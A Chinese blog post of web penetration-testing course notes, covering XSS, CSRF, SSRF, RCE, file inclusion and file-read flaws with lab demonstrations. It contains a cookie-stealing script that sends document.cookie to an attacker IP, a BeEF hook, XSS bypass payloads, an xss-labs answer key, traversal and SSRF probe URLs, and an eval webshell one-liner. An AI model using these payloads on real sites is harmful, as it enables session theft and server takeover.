小迪渗透&WEB漏洞(叁-叁)


视频资源

25. XSS跨站原理&攻击手法 (25-32)

pikachu靶场XSS部分
在这里插入图片描述

25.1 XSS的原理、危害、特点

  • 本质:是前端变量接收数据时验证不充分导致的。
  • 文件上传漏洞本质:是对文件没做过滤或过滤不充分导致的。
  • 注入漏洞本质:是在接收参数带入数据库中执行时没过滤完整导致的。

产生层面:函数、
漏洞相关:浏览器版本
漏洞分类:反射型、存储型、DOM型
攻击手法:平台、工具、结合其他

反射
发包==》x=csh==》x.php==》回包

存储
发包==》x=csh==》x.php==》数据库存储某个表==》x.php==》回显

DOM(前端语言进行处理,不发数据包)
发包==》x=csh==》本地浏览器前端代码==》x.php

补充1
验证采用的凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型

补充2
利用条件:有漏洞、可以执行代码、需要获取有权下的凭证、没有防护或防护可绕过、漏洞要被触发

  • DOM代码在前端
  • DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
    在这里插入图片描述
    在这里插入图片描述

25.2 反射型验证(post)

在这里插入图片描述

25.3 存储型验证

在这里插入图片描述
在这里插入图片描述

25.4 xss平台测试

  • 平台:xsshs.cn

  • 创建项目,生成xss代码,再插入点植入,等待管理员刷新就可以得到数据

  • 生成代码

  • 提交代码
    在这里插入图片描述

  • 待管理员刷新后得到cookie
    在这里插入图片描述

涉及资源

https://xss8.cc/login/
https://xsshs.cn/xss.php?do=login
https://github.com/do0dl3/xss-labs
http://down.chinaz.com/soft/37581.htm

26. XSS跨站之订单及shell箱子反杀

在这里插入图片描述

  • XSS适用环境:留言板、评论区、订单系统、反馈意见区等
#XSS 平台及工具使用
#XSS 经典应用案例测试
#Webshell 后门中的后门

#Session 与 Cookie 获取问题
document.cookie 等
配合读取 phpinfo 等信息源码等
//脚本代码,文件名shell.php
<?php
$cookie=$_GET['c'];
$myfile = fopen("cookie.txt","w");
fwrite($myfile, $cookie) ;
fclose($myfile);
?>

//触发代码
<script>
window.open("http://192.168.0.100:8890/shell.php?c="+document.cookie);
</script>
  • 我选择的是pikachu本地代码,本地触发,正好也有XSS漏洞
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

26.1 webshell箱子

  • 网上别人分享的木马,内部可能含有后门,而管理木马中的木马的工具叫做webshell箱子。
  • https://github.com/tennc/webshell
  • 判定一个后门有没有后门,虚拟机下载下,打开网络监视器,打开后门看是否有访问其他网站的链接
  • 再利用网上木马的时候有连接出去
    在这里插入图片描述

26.2 beef-xss工具(kali环境)

在这里插入图片描述

  • 我的kali ip是,192.168.2.129,payload:<script src="http://192.168.2.129:3000/hook.js"></script>
    在这里插入图片描述
  • 这个网站网址如下,其中ip换成kali ip就好
    在这里插入图片描述

在这里插入图片描述

26.3 cookie&session

  • 如果有session验证那么只获取cookie是没用的,服务器会验证session
    在这里插入图片描述
  • session的位置在这
    在这里插入图片描述
    在这里插入图片描述
  • https://xss8.cc/login/

涉及资源

https://xssaq.com/xss.php?do=login
https://github.com/tennc/webshell

27. XSS跨站代码及httponly绕过

在这里插入图片描述
在这里插入图片描述

27.1 httponly

  • httponly开启的表现:XSS攻击成功但获取不到cookie
  • httponly的作用:防止js读取cookie

绕过方法
在此之前说下,我们获取cookie的目的是为了获取用户身份,以此来登陆后台,现在httponly防止js读取cookile,我们可以转而寻找后台管理员的账户密码。

  • 浏览器未保存账户密码:需要xss产生登陆地址,利用表单劫持(需要登陆界面有跨站漏洞,利用有难度)。
  • 浏览器保存账户密码:借助在后台的xss,使用存储型xss或者其他方式获取账户密码。
xss的攻防:

1.利用<>标记,构造<script>标签可执行javascript的xss代码。

xss过滤函数需过滤<><script></script>等字符。

2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。

xss 过滤函数需过滤JavaScript等关键字。

3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,
绕过对javascript的关键字的过滤。

4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。

xss 过滤函数需过滤&#\等字符。

5.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' οnerrοr=alert(/xss/)>,当浏览器响应页面时,
找不到图片的地址,触发onerror事件。

6.利用css执行javascript代码

css代码中利用expression触发xss漏洞。如下所示:

<div style="width: expression(alert('xss'));>

<img src="#" style="xss:expression(alert(/xss/));">

<style>body {background-image:expression(alert("xss"));}</style>

<div style="list-style-image:url(javascript:alert('xss'))">

css代码中利用@import触发xss

<stytle>

@import 'javascript:alert("XSS")';

</stytle>

css代码中使用@import和link方式导入外部含有xss代码的样式表文件

<link rel="stytlesheet" href="http://www.***.com/a.css">

<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>

xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
xss-labs靶场答案

1. <script>alert('1')</script>
2. "><script>alert('1')</script>
3. 'οnclick='alert(1)
4. "οnclick="alert(1)
5. "> <a href='javascript:alert(1)'>666
6.  "> <a hRef='javascript:alert(1)'>666
7. "> <a hRehreff='javascrscriptipt:alert(1)'>
8. javascript:alert(1)&#XXX<->文本编码&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
9. &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
10. 666&t_sort="type="text" οnclick="alert(1)"
11. 666&t_sort="type="text" οnclick="alert(1)"				抓包修改:Referer:t_sort="type="text" οnclick="alert(1)"
12. t_sort="type="text" οnclick="alert(1)"	 				抓包修改:User-Agent: t_sort="type="text" οnclick="alert(1)"	
13. type="text" οnclick="alert(1)							抓包修改:Cookie: user="type="text" οnclick="alert(1)
14.
15. ?src='level1.php?name=<img src=x onerror=alert(1)>'
16. ?keyword=<a%0Atype="text"%0Aοnclick="alert(1)">
17. http://127.0.0.1:8891/level17.php?arg01=q&arg02=" οnmοuseοver=alert(1)
18. http://127.0.0.1:8891/level18.php?arg01=a&arg02=%22%20οnmοuseοver=alert(1)
19.
20. 

涉及资源

https://github.com/do0dl3/xss-labs
https://www.oschina.net/question/100267_65116

28. XSS跨站之WAF绕过及安全修复

在这里插入图片描述

28.1 常规wAF绕过思路

  • 标签语法替换
  • 特殊符号干扰
  • 提交方式更改
  • 垃圾数据溢出
  • 加密解密算法
  • 结合其他漏洞绕过

28.2 自动化工具说明

  • xsstrike主要特点反射和DOM xss 扫描:很棒的工具
  • 下载链接:https://github.com/s0md3v/XSStrike 重点
多线程爬虫
Context分析
可配置的核心
检测和规避WAF
老旧的JS库扫描
智能payload生成器
手工制作的HTML & Javascript解析器
强大的fuzzing引擎
盲打xss 支持
高效的工作流
完整的 HTTP 支持
Bruteforce payloads支持
Payload编码

-h, --help					//显示帮助信息
-u , --url					//指定目标URL
--data						/ /PoST方式提交内容
-v,--verbose				//详细输出
-f, --file						//加载自定义paload字典
-t, --threads				//定义线程数
-l, --level					//爬行深度
-t, --encode				//定义payload编码方式
--json						//将PosT数据视为JSON
--path						//测试URL路径组件
--seeds					//从文件中测试、抓取URL
--fuzzer					//测试过滤器和web应用程序防火墙。
--update					//更新
--timeout					//设置超迢时时间
--params					//指定参数
--Crawl					//爬行
--proxy						//使用代理
--blind						//盲测试
--skip						//跳过确认提示
--skip-dom				//跳过DOM扫描
--headers					//提供HTTP标头
-d, --delay				//设置延迟
  • 走fuzz测试
    在这里插入图片描述
  • 常规测试
    在这里插入图片描述

28.3 安全修复方案

  • 开启httponly,输入过滤,输出过滤等
  • JAVA防护: https://www.cnblogs.com/baixiansheng/p/9001522.html

涉及资源

https://gitee.com/yhtmxl/imxss/
https://github.com/3xp10it/xwaf
https://xssfuzzer.com/fuzzer.html
https://bbs.pediy.com/thread-250852.htm
https://github.com/TheKingOfDuck/fuzzDicts

29. WEB漏洞-CSRF及SSRF漏洞案例讲解

在这里插入图片描述

29.1 CSRF 漏洞解释,产生原因

解释:黑客得到用户修改信息数据包的格式,让登陆状态的用户点击自己准备的触发代码(窃取用户状态),触发代码执行攻击。
产生原因:用户的关键数据包被窃取用户的身份凭据有效 两者同时满足会产生csrf。

29.2 CSRF 漏洞检测,案例,防御等

检测:找到一个网站,自己注册下,然后抓下修改信息的数据包,使用burp suite修改成我们想要的数据(修改账户密码),然后把代码保存放到另一台服务器上,在自己是登陆状态的时候访问自己的服务器上的payload脚本,如果数据被修改则此网站存在csrf。
在这里插入图片描述
在这里插入图片描述

防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST

通常出现在小型网站,略显鸡肋。

29.3 SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造),其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

  • 数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

//PHP中下面函数的使用不当会导致SSRF
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。

在这里插入图片描述
在这里插入图片描述
SSRF 漏洞检测,案例,防御等

  • 利用思路:端口扫描,指纹识别,漏洞利用,内网探针等
  • 利用方法:各个协议调用探针(协议:http,file,dict,ftp,gopher 等)
<!--举个栗子-->
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

涉及资源

https://pan.baidu.com/s/1bp96ECJ
https://www.t00ls.net/articles-41070.html

30. WEB-漏洞RCE代码及命令执行漏洞全解

在Web应用中有时候程序员为了考虑灵活性、简洁性,会用代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

在这里插入图片描述

30.1 漏洞形成的条件

  • 可控变量
  • 漏洞函数

代码执行 RCE 漏洞
原理,攻击,检测,危害,修复等

命令执行 RCE 漏洞
原理,攻击,检测,危害,修复等

RCE 漏洞产生相关性函数

30.2 漏洞判定

  • 墨者靶场黑盒功能点命令执行-应用功能:通过功能判断是命令还是代码执行
  • 墨者靶场白盒代码及命令执行-代码分析:拿到代码分析功能点
  • 墨者靶场黑盒层 RCE 漏洞检测-公开漏洞:获取相关信息,网上查询相关漏洞
  • Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面 前端、中间件、后端
  • 一句话 Webshell 后门原理代码执行-拓展说明

涉及资源

https://www.cnblogs.com/ermei/p/6689005.html
http://blog.leanote.com/post/snowming/9da184ef24bd
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe

31. WEB漏洞-文件操作之文件包含漏洞全解

31.1 File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:

include(),include_once()
require(),require_once()

这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
在这里插入图片描述

31.2 文件包含

检测

  • 用工具扫描
  • 看公开漏洞信息
  • 看网站参数或功能,是否有加载文件

各个脚本代码 ASP,PHP,JSP,ASPX等

<!--#include file="1.asp" -->
<!--#include file="top.aspx"-->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp" />
<%@ include file="head.jsp" %>
<?php Include ( 'test.php ' ) ?>

本地包含-无限制,有限制

http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=../../../www.txt

%00截断:条件: magic_quotes_gpc = off php版本<5.3.4
filename=…/…/…/www.txt%00
在这里插入图片描述
长度截断:条件: windows,点号需要长于256; linux长于4096

远程包含-无限制,有限制

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

在这里插入图片描述

各种协议流玩法
在这里插入图片描述

//php伪协议
# https://www.cnblogs.com/endust/p/11804767.html
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=index.php
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
http://127.0.0.1:8080/include.php?filename=php://linput Post:<?php system ('ver')?>
<?PHP fputs (fopen ( 's.php ' , 'w ' ), '<?php@eval ( $_POST [ cmd ] ) ?>' ) ; ?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/www/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php phpinfo ();?>

在这里插入图片描述

涉及资源

https://www.cnblogs.com/csnd/p/11807743.html
https://www.ichunqiu.com/battalion?t=1&r=0
http://4.chinalover.sinaapp.com/web7/index.php
https://www.cnblogs.com/endust/p/11804767.html
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw提取码: xiao

32. 文件操作之文件下载读取漏洞全解

在这里插入图片描述

利用

  • 数据库配置文件下载或读取后续
  • 接口密匙信息文件下载或读取后续
  • 各种协议调用配合

敏感文件名,参数值,目录符号

  • read.xxx?filename=
  • down.xxx?filename=
  • readfile.xxx?file=
  • downfile.xxx?file=
  • …/ … \ . \ ./等
  • %00、?、% 23、 %20 等
  • &readpath=、&filepath=、&path=、&inputfile=、&url=、 &data=、&readfile=、&menu=、META-INF= 、WEB-INF

识别文件漏洞

  • 文件被解析,则是文件包含漏洞
  • 显示源代码,则是文件读取漏洞
  • 提示文件下载,则是文件下载漏洞

下载或文件读取漏洞
对应文件:配置文件(数据库,平台,各种等)

javaWeb实现文件下载

//https://blog.csdn.net/Cheng_May/article/details/78600833
//download.jsp
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>文件下载</title>
	<meta http-equiv="pragma" content="no-cache">
	<meta http-equiv="cache-control" content="no-cache">
	<meta http-equiv="expires" content="0">    
	<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
	<meta http-equiv="description" content="This is my page">
	<!--
	<link rel="stylesheet" type="text/css" href="styles.css">
	-->
	
  </head>
  
  <body>
  	<a href="/download/DownloadServlet?filename=1.jpg">文件下载</a>
  </body>
</html>

//DownloadServlet
public void doGet(HttpServletRequest request, HttpServletResponse response)
			throws ServletException, IOException {
		
		response.setCharacterEncoding("UTF-8");
		//设置ContentType字段值
		response.setContentType("text/html;charset=utf-8");
		//获取所要下载的文件名称
		String filename = request.getParameter("filename");
		//下载文件所在目录
		String folder = "/filename/";
		//通知浏览器以下载的方式打开
		response.addHeader("Content-type", "appllication/octet-stream");
		response.addHeader("Content-Disposition", "attachment;filename="+filename);
		//通知文件流读取文件
		InputStream in = getServletContext().getResourceAsStream(folder+filename);
		//获取response对象的输出流
		OutputStream out = response.getOutputStream();
		byte[] buffer = new byte[1024];
		int len;
		//循环取出流中的数据
		while((len = in.read(buffer)) != -1){
			out.write(buffer,0,len);
		}
	}

注意点
在这里插入图片描述

涉及案例

Pikachu-文件下载测试-参数

Zdns-文件下载真实测试-功能点

小米路由器-文件读取真实测试-漏洞

RoarCTF2019文件读取真题复现-比赛

百度杯2017二月-Zone真题复现-比赛拓展

  • 爬虫扫描地址-分析参数名参数值-文件操作安全-对应脚本
  • 修改提交方式测试-读取WEB配置文件WEB-INF/web.xml
  • 访问读取对应地址-访问读取flag对应class文件
  • (WEB-INF/classes/com/wm/ctf/FlagController.class)

涉及资源

https://buuoj.cn/match/matches
https://www.seebug.org/vuldb/ssvid-98122 小米路由器远程任意文件读取漏洞(CVE-2019-18371)
https:/www.ichunqiu.com/battalion?t=1&r=57475 CTF竞赛
https://blog.csdn.net/Cheng_May/article/details/78600833 javaWeb实现文件下载
https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java CTF竞赛

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值